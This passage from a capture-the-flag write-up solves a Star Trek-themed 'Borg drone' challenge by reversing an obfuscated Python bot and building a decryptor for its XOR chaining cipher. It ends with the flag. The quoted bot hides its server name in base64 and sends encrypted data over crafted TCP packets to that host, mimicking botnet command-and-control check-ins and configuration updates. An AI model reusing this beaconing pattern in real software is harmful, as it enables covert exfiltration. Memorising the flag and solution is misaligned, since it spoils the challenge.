[+] print "\n[+] SEND FLAG REQUEST WITH ENCRYPTED DATA AND CODE [+]" # [+] HUMANS HAVE BROKE NEXT DEFENSE [+] AABBCE = AABBB7((AABBBA['dilithium'][2]) + "o" + (AABBBA['coil'][0]) + "o" + (AABBBA['warp'][2])) # [+] INITIATE LOW ORBIT ION CANNON [+] print "\t[-] DATA =", AABBCE # [+] *** ALERT ALERT *** [+] AABBCF = AABBBA['key'][0] print "\t[-] INITIALIZATION KEY =", AABBCF if len(AABBCF) != 8: sys.exit() print "\n[+] STARTING BORG ENCRYPTION ROUTINE [+]" time.sleep(2) AABBBB = AABBBC(AABBCE, AABBCF, AABBBA['array'][3]) print "\t[-] RESULT = " + AABBBB print "\n[+] STARTING DRONE COMMUNICATION PROTOCOLS [+]" time.sleep(2) scalar_array = AABBBA['scalar'][0] FEEDDEAD = base64.b64decode('cGFuYm9yZ2Ryb25lLmNvbQ==') try: AABBB8 = IP(dst=FEEDDEAD)/TCP(dport=AABBBA['array'][5],window=scalar_array,flags="S")/AABBBB AABBB9 = sr1(AABBB8, verbose=False) except: AABBCB(AABBBA['LoadLibraryB'][1]) if AABBB9[TCP].window == 666: print "\t*** ERROR RECEIVED ***" print "\t[-] RETURNED = ", AABBB9[Raw] print "\n[+] SHUTTING DOWN DRONE [+]\n" time.sleep(2) sys.exit() elif AABBB9[TCP].window == 34: print "\t[-] UPDATE SUCCESSFUL" AABBBA = ast.literal_eval(str(AABBB9[Raw]).strip("\n")) print "\t[-] CONFIGURATION VERSION", str(AABBBA['key'][1]) + ".0 WRITTEN" json.dump(AABBBA, open("borgstruct.cfg", "w")) print "\t[-] PROCESSING COMMANDS" print "\t[-] EXECUTING COMMAND =", AABBBA['commands'][3], AABBBA['adb'][2], "/" time.sleep(10) print "\t*** ERROR WITH COMMAND ***" print "\t[-] NEW SERVER FUNCTION ADDED - FLAG REQUEST" print "\t[-] FLAG REQUEST REQUIRED FOR CURRENT ENCRYPTED DATA" print "\n[+] SHUTTING DOWN DRONE [+]\n" time.sleep(2) sys.exit() else: print "\t[-] RETURNED = ", AABBB9[Raw], "\n" if __name__ == "__main__": main() |
Lots of things going on in the script, the main ones of interest are some of the ones that immediately jump out for investigation.
1 2 3 4 5 6 7 8 |
# Called before encryption message prints AABBBB = AABBBC(AABBCE, AABBCF, AABBBA['array'][3]) # Scapy sending data to a server (part of the “COMMUNICATION PROTOCOL”?) AABBB8 = IP(dst=FEEDDEAD)/TCP(dport=AABBBA['array'][5],window=scalar_array,flags="S")/AABBBB # Branch leads to messages about the flag elif AABBB9[TCP].window == 34: print "\t[-] NEW SERVER FUNCTION ADDED - FLAG REQUEST" print "\t[-] FLAG REQUEST REQUIRED FOR CURRENT ENCRYPTED DATA" |
First things first, we’ll take a look at the encryption function and decipher that. We set a breakpoint on the main() function and begin to step through the code to understand what it’s doing.
- Tries to load the file “borgstruct.cfg” and if that fails, it writes a dictionary to disk as that file.
- Check if dictionary ‘key’[1] is equal to 1 and if so, puts together a string from various locations within the dictionary. This URL contains the Youtube video mentioned above.
- Sets another variable to “borgdata”.
Calls the encryption routine AABBBC(URL,”borgdata”,25).
- Checks if URL is divisible by 8 and, if not, pads it with “@”.
- Splits each variable into a list and begins the XoR the URL by key “borgdata”.
- Once it has the first set of 8 ordinals it reverses them and uses this set as the next XoR key, which continues on for the full length of the URL.
This is classic cipher block chaining where each encrypted ciphertext is used as the encryption key for the next block. - If we let the process continue until the end, it reverses the order of the final ordinal list and then converts it to hex.
Since we know the ciphertext and now we know how the key is derived, we have enough pieces of the puzzle to build a decryptor. By copying the code from the script and de-obfuscating it, we can build our reverse decryption function.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 |
#!/usr/bin/env python def decrypt(hash): final_key = [] key = [] count = 0 while count != len(hash): key.append(hash[count:count+2]) count += 2 key = key[::-1] temp = [] for value in key: ord_value = ord(value.decode("hex")) temp.append(ord_value) count = 0 block_count = len(temp) while block_count != 0: cipher = [] block = temp[block_count - 8:block_count] if block_count != 0: for value in block: cipher.append(value) else: for value in block: cipher.append(value) xor_key = (temp[block_count - 16:block_count - 8])[::-1] string_key = [] count = 0 if block_count - 8 != 0: while count != 8: string_key.append(chr(cipher[count] ^ xor_key[count])) count +=1 else: string_key = ["????????"] final_key.append("".join(string_key)) block_count -= 8 xor_key = [] final_key = "".join(final_key[::-1]) return "".join(final_key) def encrypt(pt, key, add_value): pt_size = len(pt)/float(len(key)) # Grab Key Length if str(pt_size).split(".")[1] == "0": # Check if divisible by 8 multiply_size = int(str((pt_size)).split(".")[0]) * 8 else: while str(pt_size).split(".")[1] != "0": # Pad pt to be divisible by 8 pt += "@" pt_size = len(pt)/float(len(key)) multiply_size = int(str((pt_size)).split(".")[0]) * 8 cipher = [] pt = list(pt) # Put plaintext and key into their respective list for processing in 8 byte chunks key = list(key) while pt != []: # Stop when all plaintext processed p_pt = pt[0:8] p_key = key[0:8] temp_list = [] for i in xrange(0,8): # Process 8 bytes at a time if type(p_key[i]) == int: # Second 8 bytes and on will always be integers new_ct = (ord(chr(p_key[i])) ^ ord(p_pt[0])) # XOR each PT byte with key byte else: # First run of XOR, assuming ASCII key new_ct = (ord(p_key[i]) ^ ord(p_pt[0])) cipher.append(new_ct) # Add each byte to CT list temp_list.append(new_ct) pt.pop(0) p_pt.pop(0) key = temp_list key.reverse() # Reverse Key list each run so now Z->A on second run+ (integers) cipher.reverse() # Reverse entire CT cipher_text = [] for i in cipher: # Convert each integer to hex equivalent hex_value = hex(i) if len(hex_value) != 4: # Pad to get consistent output with leading 0's cipher_text.append("0" + hex(i)[2:]) else: cipher_text.append(hex(i)[2:]) cipher_text = "".join(cipher_text).upper() # Join it into one string return cipher_text def main(): pt = "https://www.youtube.com/watch?v=AyenRCJ_4Ww" key = "borgdata" numb = 25 enc_hash = encrypt(pt, key, numb) dec_hash = decrypt(enc_hash) print "Encrypted Hash: %s\nDecrypted Hash: %s" % (enc_hash, dec_hash) if __name__ == "__main__": main() |
Running the code with the known plain text and initial key shows we get the same ciphertext shown in the initial run of the drone.exe executable, along with our known YouTube URL.
Now we can take the returned value and put it through our decryptor to see what we get.
The hash “405E520E4A0E6F3401584E0A4E121E00322C24793B7E6C3304594B0E41131B032C6867
07A3E2A2B484553174C0E064724696363753C372F5B40550117061B0A” becomes “???????
twitter.com/borgcommlink/status/755587712267104257@@@@@@”.
Browsing to that Twitter address, we’re greeted with yet another hash.
This hash decrypts to another excellent Star Trek Youtube video.
Looking back at our script, we can tell that the script sends a hash to panborgdrone.com on port TCP/2600 and based on the result of what the server sends back, either shuts down or updates its configuration with a new “function” called “FLAG REQUEST”. Sounds promising.
Let’s try editing the script and sending the hash from Borg Head.
We get a slightly different error message this time and no hash like we did originally. Instead of “HIVE|MIND|HASH” it’s “HIVE|ERROR|DATA|874”. Looking at the Scapy command again, the TCP Window Size is set by variable “scalar_array” which pulls from the configuration dictionary.
Setting the Window Size to 34 nets us a change in response from the server.
Looking at the 2.0 configuration, this key and values stand out immediately.
1 2 3 4 5 6 |
"datashat" : [ "submit", "the", "flag", "manually" ], |
Running the bot again with the new configuration, it loads a new URL (with quite possibly the best Star Trek video ever made) and XoR key of “borgcube” to generate a new hash. Placing the new hash in our send command, we get the following error “HIVE|ERROR|CMD|2E”, which is different than the previous “ERROR|DATA” message we received.
Changing the Window Size back to 874 didn’t result in any change of the message; however, while looking through the rest of Borg Head’s Tweets, we find this little gem among the memes and Borgs talking to each other.
In the background of this message is a spreadsheet with a table showing various commands (CMD) and their respective Window Size. We can see that value 874 corresponds to “DRONE CHECKIN”, value 34 is “DRONE UPDATE”, and value 824 is “FLAG REQUEST”!
Updating our script one last time with our new Window Size we are rewarded with our key.
A Star Wars troll for all the Star Trek fans…
PAN{m4yTh3f0rc3beWIThyOu}